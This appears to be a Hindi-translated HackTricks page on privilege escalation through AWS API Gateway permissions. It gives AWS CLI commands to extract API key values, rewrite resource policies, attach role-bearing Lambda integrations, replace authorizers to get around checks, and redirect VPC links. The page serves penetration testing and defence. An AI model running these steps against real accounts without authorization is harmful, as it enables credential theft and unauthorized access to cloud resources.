AWS - Apigateway Privesc

हैकट्रिक्स का समर्थन करें

Apigateway

अधिक जानकारी के लिए देखें:

AWS - API Gateway Enum

apigateway:POST

इस अनुमति के साथ आप क्षेत्र के अनुसार कॉन्फ़िगर किए गए API कुंजियाँ उत्पन्न कर सकते हैं।

aws --region <region> apigateway create-api-key

संभावित प्रभाव: इस तकनीक के साथ आप प्राइवेस्क नहीं कर सकते हैं लेकिन आप संवेदनशील जानकारी तक पहुंच सकते हैं।

apigateway:GET

इस अनुमति के साथ आप कॉन्फ़िगर की गई API कुंजियों को प्राप्त कर सकते हैं (प्रति क्षेत्र)।

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

संभावित प्रभाव: इस तकनीक के साथ आप प्राइवेस्क नहीं कर सकते हैं लेकिन आप संवेदनशील जानकारी तक पहुंच सकते हैं।

apigateway:UpdateRestApiPolicy, apigateway:PATCH

इन अनुमतियों के साथ API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के पहुंच का दुरुपयोग करने के लिए अपने आप को पहुंच दे सकें (जैसे किसी भी वंशावली लैम्बडा को आह्वान करना)।

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

संभावित प्रभाव: आम तौर पर, इस तकनीक के साथ आप सीधे privesc नहीं कर पाएंगे लेकिन आपको संवेदनशील जानकारी तक पहुंचने का अधिकार हो सकता है।

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

जाँच की आवश्यकता है

एक हमलावर जिसके पास apigateway:PutIntegration, apigateway:CreateDeployment, और iam:PassRole अनुमतियाँ हैं, एक मौजूदा API Gateway REST API में एक नया एकीकरण जोड़ सकता है जिसमें एक IAM भूमिका संलग्न है। हमलावर फिर लैम्बडा फ़ंक्शन को ट्रिगर कर सकता है जिससे वे विविध कोड को क्रियान्वित कर सकते हैं और संबंधित IAM भूमिकाओं के संसाधनों तक पहुंच सकते हैं.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: लैम्बडा फंक्शन के IAM भूमिका से जुड़े संसाधनों तक पहुंच।

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

टेस्टिंग की आवश्यकता

apigateway:UpdateAuthorizer और apigateway:CreateDeployment अनुमतियों के साथ एक हमलावर मौजूदा API गेटवे ऑथराइज़र को संशोधित कर सकता है ताकि सुरक्षा जांचों को छलना करें या जब API अनुरोध किए जाते हैं तो विचारशील कोड को क्रियान्वित कर सकता है।

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: सुरक्षा जांचों को छलकर जानकारी हासिल करना, API संसाधनों तक अनधिकृत पहुंच।

जरुरी परीक्षण

एक हमलावर जिसके पास apigateway:UpdateVpcLink अनुमति है, एक मौजूदा VPC लिंक को संशोधित कर सकता है ताकि यह एक विभिन्न नेटवर्क लोड बैलेंसर की ओर पोइंट करे, जिससे निजी API ट्रैफिक को अनधिकृत या दुरुपयोगी संसाधनों पर पुनर्निर्देशित किया जा सकता है.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

संभावित प्रभाव: निजी API संसाधनों तक अनधिकृत पहुंच, API ट्रैफिक का अवरोधन या विघटन।

हैकट्रिक्स का समर्थन करें

Last updated